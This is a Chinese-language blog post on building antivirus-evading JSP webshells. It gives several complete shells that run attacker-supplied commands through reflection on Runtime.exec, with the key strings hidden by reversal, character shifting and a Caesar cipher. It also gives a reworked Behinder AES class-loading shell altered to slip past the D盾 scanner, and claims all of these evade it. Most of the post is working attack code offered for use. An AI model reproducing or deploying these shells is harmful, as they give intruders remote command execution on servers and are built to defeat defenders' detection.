webshell免杀研究jsp篇

原理

向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。

结构

实现三步

  1. 数据的传递
  2. 执行所传递的数据
  3. 回显

数据传递

1
String x = request.getParameter("x");

执行所传递的数据

1
2
3
4
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime"); //获取getRuntime方法
Method ex = rt.getMethod("exec", String.class); //获取exec方法
Process e = (Process) ex.invoke(gr.invoke(null), x);

回显

1
2
3
4
5
6
7
8
#in为执行返回结果
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");

免杀思路

jsp类型webshell数据传入、回显两个部分都是很正常的代码,一般程序中都会使用,不会触发检测规则。

所以需要重点关注杀毒软件对执行这个部分的检测

免杀

将以上三个部分拼接出来就是正常的通过类反射执行的回显webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime"); //获取getRuntime方法
Method ex = rt.getMethod("exec", String.class); //获取exec方法
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

由于其仍然含有java.lang.Runtime、getRuntime、exec等关键字,仍然会被安全软件检测,我们的免杀主要也针对这几个关键字符串。

比如通过ascii、hex、base64等方式传入不含有这些特征的关键字,但是因为用的过多,目前也被列入已知后门,所以最好这里是自定义编码方式或转换方式,比如异或,移位,反转,栅栏等各种操作缝合的方式。

反转字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));
Method gr = rt.getMethod(reverseStr("emitnuRteg"));
Method ex = rt.getMethod(reverseStr("cexe"), String.class);
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

移位5位

1
2
3
4
5
6
7
8
9
<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String eStr(String str){String result = "";int length = str.length();for (int i = 0; i < length; i++){char z=str.charAt(i);z=(char)(z-5);result=result+z;}return result;}%>
<%
if(request.getParameter("x")!=null){Class rt = Class.forName(eStr("of{f3qfsl3Wzsynrj"));
Process e = (Process) rt.getMethod(new String(eStr("j}jh")), String.class).invoke(rt.getMethod(new String(eStr("ljyWzsynrj"))).invoke(null, new Object[]{}), request.getParameter("x") );
java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];
out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

小写字母凯撒密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String plusStr(String str){String plus = "";int length = str.length();for (int i = 0; i < length; i++){char z = str.charAt(i);
if(z>='a'&&z<='w'){z=(char)(z+3);plus=plus+z;}
else if(z>='x'&&z<='z'){z=(char)(z-23);plus=plus+z;}
else{plus=plus+z;}}return plus;}
%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName(plusStr("gxsx.ixkd.Rrkqfjb"));
Method gr = rt.getMethod(plusStr("dbqRrkqfjb"));
Method ex = rt.getMethod(plusStr("bubz"), String.class);
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

冰蝎改造

冰蝎默认马:

1
2
3
4
5
6
7
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

经过二分法,D盾查杀特征在最后这句

1
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

参考了yzddmr6的方法,拆分或使用类似语句替换,所以使用Base64.getDecoder()替换原本特征,并把request.getReader().readLine()单独取出来,破坏D盾识别的特征。当然也可以拆分该语句的其他部分,破坏特征。

1
2
3
4
5
6
7
8
9
10
11
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>

最终D盾对本文提到的多种webshell都是可以免杀的

参考文档

https://yzddmr6.tk/posts/webshell-bypass-jsp/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!